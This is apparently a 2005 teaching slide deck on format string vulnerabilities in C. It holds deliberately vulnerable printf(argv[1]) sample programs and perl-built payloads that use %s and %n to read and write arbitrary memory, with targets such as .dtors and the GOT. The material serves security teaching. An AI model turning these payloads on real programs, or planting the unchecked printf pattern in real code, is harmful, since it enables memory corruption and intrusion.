Format String Vulnerability I & II

Kudo@chrO.ot

2005/10/15

Format String function family

- fprintf
- printf
- sprintf
- snprintf
- vfprintf
- vprintf
- vsprintf
- vsnprintf

The usage of printf()

- Normal
  - char buf[] = “Hello World”;
  - printf(“%s”, buf);
- Dangerous
  - char buf[] = “Hello World”;
  - printf(buf);
- The key point is that use format string function without strict type check

Why is Dangerous

- Example 1：

```
printf(argv[1]);
```

- Example 2：

```
int show_error(char *str)
{
        ...
        printf(str);
        ...
}
```

- What will happen if we insert a “%s” to argv[1] or str？
  - Print the stack content as a string

Why is Dangerous（Cont.）

- Sample Code：

```
#include <stdio.h>

int main(int argc, char *argv[])
{
 if (argc > 1)
   printf(argv[1]);

 putchar('\n');
 return 0;
}
```

- Execute：
  - `$ ./a.out `perl -e 'print "AAAAAAA"."%08x."x200'``

Why is Dangerous（Cont.）

```
AAAAAAAAbfbfef90.000000f3.2804e06f.0804835b.068acf04.66667542.75427265.7265
6666.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0000000
0.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000
.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.
00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0
0000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00
000000.00000000.00000000.00000000.00000000.bfbff0e4.080484cd.00000002.bfbff0
ec.bfbff0f8.bfbff207.bfbff207.00000297.bfbff0e4.080483e2.080484b3.08048688.00000
000.00000000.00000000.bfbff0e0.00000000.00000000.bfbff0e0.bfbff0e4.bfbff0ec.000
00000.00000002.bfbff200.bfbff208.00000000.bfbff5f9.bfbff60f.bfbff61b.bfbffa02.bfbffa
0b.bfbffa1a.bfbffa24.bfbffa31.bfbffa47.bfbffa5b.bfbffad2.bfbffadf.bfbffaf4.bfbffb14.bfbff
b46.bfbffb59.bfbffb6a.bfbffb77.bfbffb86.bfbffb94.bfbffb9c.bfbffbc4.bfbffbd0.bfbffbdd.bf
bffbf8.bfbffc1b.bfbffc3b.bfbffdfb.bfbffe15.bfbffe23.bfbffe39.bfbffe47.bfbffe5f.bfbffe79.b
fbffea0.00000000.00000003.08048034.00000004.00000020.00000005.00000006.000
00006.00001000.00000008.00000000.00000009.08048444.00000007.28049000.0000
0000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.2e612f2
e.0074756f.41414141.41414141.78383025.3830252e.30252e78.252e7838.2e783830.
78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.2
52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.38
30252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e78
3830.78383025.3830252e.30252e78.252e7838.2e783830.
```

Why is Dangerous（Cont.）

- How about insert a memory address instead of “AAAAAAAA”
  - For exaple, use “\x61\xfa\xbf\xbf”
  - 41414141 -> bfbffa61
- So we can read and even write arbitrary memory address

What could we do for a format string vulnerability

- Read from arbitrary memory address
  - %s format
  - environment variable
- Write to arbitrary memory address
  - %n format
  - return address
  - dtor
  - Global offset table

Read from arbitrary memory address

- Sample code：

```
#include <stdio.h>

int main(int argc, char *argv[])
{
 char buf[256] = “Hello World";

 printf("Buffer on %p\n", buf);

 if (argc > 1)
   printf(argv[1]);

 putchar('\n');
 return 0;
}
```

- Get buf address：
  - $ ./a.out
  - Buffer on 0xbfbff390

Read from arbitrary memory address（Cont.）

- Traverse to buf address
  - $ ./a.out `perl -e 'print "\x90\xf3\xbf\xbf"."%08x."x163'`

```
0000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00
000000.00000000.00000000.00000000.00000000.00000000.00000000.0000000
0.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000
00000.00000000.00000000.00000000.00000000.00000000.00000000.00000000
.00000000.00000000.00000000.bfbff1a0.080484cd.00000002.bfbff1a8.bfbff1b4.
bfbff2c3.00000283.bfbff1a0.080483e2.080484b3.08048688.00000000.00000000
.00000000.bfbff19c.00000000.00000000.bfbff19c.bfbff1a0.bfbff1a8.00000000.0
0000002.bfbff2bc.bfbff2c4.00000000.bfbff5f8.bfbff60e.bfbff61a.bfbffa01.bfbffa0a
.bfbffa19.bfbffa23.bfbffa30.bfbffa46.bfbffa5a.bfbffad1.bfbffade.bfbffaf3.bfbffb13.
bfbffb45.bfbffb58.bfbffb69.bfbffb76.bfbffb85.bfbffb93.bfbffb9b.bfbffbc3.bfbffbcf.b
fbffbdc.bfbffbf7.bfbffc1a.bfbffc3a.bfbffdfa.bfbffe14.bfbffe22.bfbffe38.bfbffe46.bfbf
fe5e.bfbffe78.bfbffe9f.00000000.00000003.08048034.00000004.00000020.0000
0005.00000006.00000006.00001000.00000008.00000000.00000009.08048444.
00000007.28049000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0
0000000.00000000.00000000.2e612f2e.0074756f.bfbff390.
```

Read from arbitrary memory address（Cont.）

- Read buf content：
  - $ ./a.out `perl -e 'print "\x90\xf3\xbf\xbf"."%08x."x162'` %.1024s

```
0000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00
000000.00000000.00000000.00000000.00000000.00000000.00000000.0000000
0.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000
00000.00000000.00000000.00000000.00000000.00000000.00000000.00000000
.00000000.00000000.00000000.bfbff1a0.080484cd.00000002.bfbff1a8.bfbff1b4.
bfbff2c3.00000283.bfbff1a0.080483e2.080484b3.08048688.00000000.00000000
.00000000.bfbff19c.00000000.00000000.bfbff19c.bfbff1a0.bfbff1a8.00000000.0
0000002.bfbff2bc.bfbff2c4.00000000.bfbff5f8.bfbff60e.bfbff61a.bfbffa01.bfbffa0a
.bfbffa19.bfbffa23.bfbffa30.bfbffa46.bfbffa5a.bfbffad1.bfbffade.bfbffaf3.bfbffb13.
bfbffb45.bfbffb58.bfbffb69.bfbffb76.bfbffb85.bfbffb93.bfbffb9b.bfbffbc3.bfbffbcf.b
fbffbdc.bfbffbf7.bfbffc1a.bfbffc3a.bfbffdfa.bfbffe14.bfbffe22.bfbffe38.bfbffe46.bfbf
fe5e.bfbffe78.bfbffe9f.00000000.00000003.08048034.00000004.00000020.0000
0005.00000006.00000006.00001000.00000008.00000000.00000009.08048444.
00000007.28049000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0
0000000.00000000.00000000.2e612f2e.0074756f.Hello World
```

Write to arbitrary memory address

- %n
  - Write the number of bytes written so far to variable

Write to arbitrary memory address（Cont.）

- Demo Program

```
#include <stdio.h>

int main(int argc, char *argv[])
{
  int value = 0;

  printf("1st 0: %d\n", value);
  printf("AAAA%n\t", &value);
  printf("2nd: %d\n", value);
  printf("AAAAAA%n\t", &value);
  printf("3rd: %d\n", value);
  return 0;
}
```

- Result

```
1st 0: 0
AAAA    2nd: 4
AAAAAA  3rd: 6
```

Write to arbitrary memory address（Cont.）

- Sample Code

```
#include <stdio.h>

int main(int argc, char *argv[])
{
  int value = 0;

  printf("value @ %p\n", &value);
  printf("before write value = %d\n", value);

  if (argc > 1)
    printf(argv[1]);

  putchar('\n');
  printf("after write value = %d\n", value);
  return 0;
}
```

Write to arbitrary memory address（Cont.）

- Command：

  -
    ```
    ./a.out `perl -e 'print "\x6c\xf2\xbf\xbf"."%08x."x102'`%n
    ```
- Result

```
value @ 0xbfbff26c
before write value = 0
        翾?0000000.2804bc1b.00000002.bfbff2d4.08049690.bfbff2c8.2807caf6.00000002.00000000.b
        fbff2c0.08048499.00000002.bfbff2c8.bfbff2d4.bfbff3e3.00000287.bfbff2c0.080483be.0804847
        f.0804863c.00000000.00000000.00000000.bfbff2bc.00000000.00000000.bfbff2bc.bfbff2c0.bf
        bff2c8.00000000.00000002.bfbff3dc.bfbff3e4.00000000.bfbff5e9.bfbff5ff.bfbff60b.bfbff9f2.bfb
        ff9fb.bfbffa0a.bfbffa14.bfbffa21.bfbffa37.bfbffa4b.bfbffac2.bfbffacf.bfbffae4.bfbffb04.bfbffb36.
        bfbffb49.bfbffb5a.bfbffb67.bfbffb76.bfbffb84.bfbffb8c.bfbffbc5.bfbffbd1.bfbffbde.bfbffbf9.bfbffc
        1c.bfbffc3c.bfbffdfc.bfbffe16.bfbffe24.bfbffe3a.bfbffe48.bfbffe60.bfbffe7a.bfbffea1.00000000.0
        0000003.08048034.00000004.00000020.00000005.00000006.00000006.00001000.00000008
        .00000000.00000009.08048410.00000007.28049000.00000000.00000000.00000000.000000
        00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0000
        0000.00000000.00000000.00000000.2e612f2e.0074756f.
after write value = 922
```

Write to arbitrary memory address（Cont.）

- Use length format to control the written value
- ./a.out `perl -e 'print "\x6c\xf2\xbf\xbf"."%08x."x101'`%8x%n

after write value = 921

- ./a.out `perl -e 'print "\x6c\xf2\xbf\xbf"."%08x."x101'`%9x%n

after write value = 922

- ./a.out `perl -e 'print "\x6c\xf2\xbf\xbf"."%08x."x101'`%109x%n

after write value = 1021

Multiple Writes

- 4-stage writes
  - Because the length format is not big enough.
  - Write 4 times for 4 bytes

1st Write	12 00 00 00	0xbfbff26c
2nd Write	34 00 00 00	0xbfbff26d
3rd Write	56 00 00 00	0xbfbff26e
4th Write	78 00 00 00	0xbfbff26f
Result	12 34 56 78	

Multiple Writes（Cont.）

- ./a.out `perl -e 'print "\x6c\xf2\xbf\xbfAAAA\x6d\xf2\xbf\xbfAAAA\x6e\xf2\xbf\xbfAAAA\x6f\xf2\xbf\xbf"."%08x."x101'`%30x%n%45x%n%57x%n%89x%n
- Creative Calculation
- Auto-calculate tool !?

Direct Parameter Access

- %n$s
- %1$d
  - printf(“%6$d\n”, 6, 5, 4, 3 ,2 ,1);
  - Print out 1
- No Junk strings
- ./a.out `perl -e 'print "\x6c\xf2\xbf\xbf\x6d\xf2\xbf\xbf\x6e\xf2\xbf\xbf\x6f\xf2\xbf\xbf"'`%5\$30x%6\$n%5\$45x%6\$n%5\$57x%6\$n%5\$89x%6\$n

Where to overwrite

- Simple & Important “Value”
- Unix-Like
  - Environment Variable
  - .dtors
  - GOT
- Windows
  - SEH (Structures Exception Handler)

Where to overwrite（Cont.）

- .dtors
  - Destructor
  - Writable
  - Nm
    - __DTOR_LIST__
    - __DTOR_END_
  - Objdump –s –j .dtors
  - Begin “ffffffff”
  - End “00000000”

Where to overwrite （Cont.）

- GOT
  - Share library reference PLT (Procedure Linkage Table) address
  - PLT save address pointer
    - To GOT
    - GOT is writable
  - Objdump –d –j .got
  - Objdump –R

Detection

- Easy to detect
  - gcc –Wformat
- Many tool in the world

Automated tool

- fmtbuilder
- Usage : ./fmtbuilder [-nh] -a <locaddr> -v <retaddr> -o <offset>
- ./a.out `./fmtbuilder -r 0x04030201 -a 0xbffff8f8 -b 0 -o 2 -n`
- http://packetstormsecurity.org/papers/unix/fmtbuild.htm

Buffer Overflow V.S. Format Strings

- Specific Address
- Detection

OS difference

- Windows
  - Low address
- Unix-Like
  - High address
- Sparc
  - %hn

Reference

- Hacking – The Art of Exploitation
  - By Jon Erickson
- Buffer Overflow Attacks – Detect,Exploit,Prevent
  - By Foster
- http://packetstormsecurity.org/

The End

Thank you and your suggestions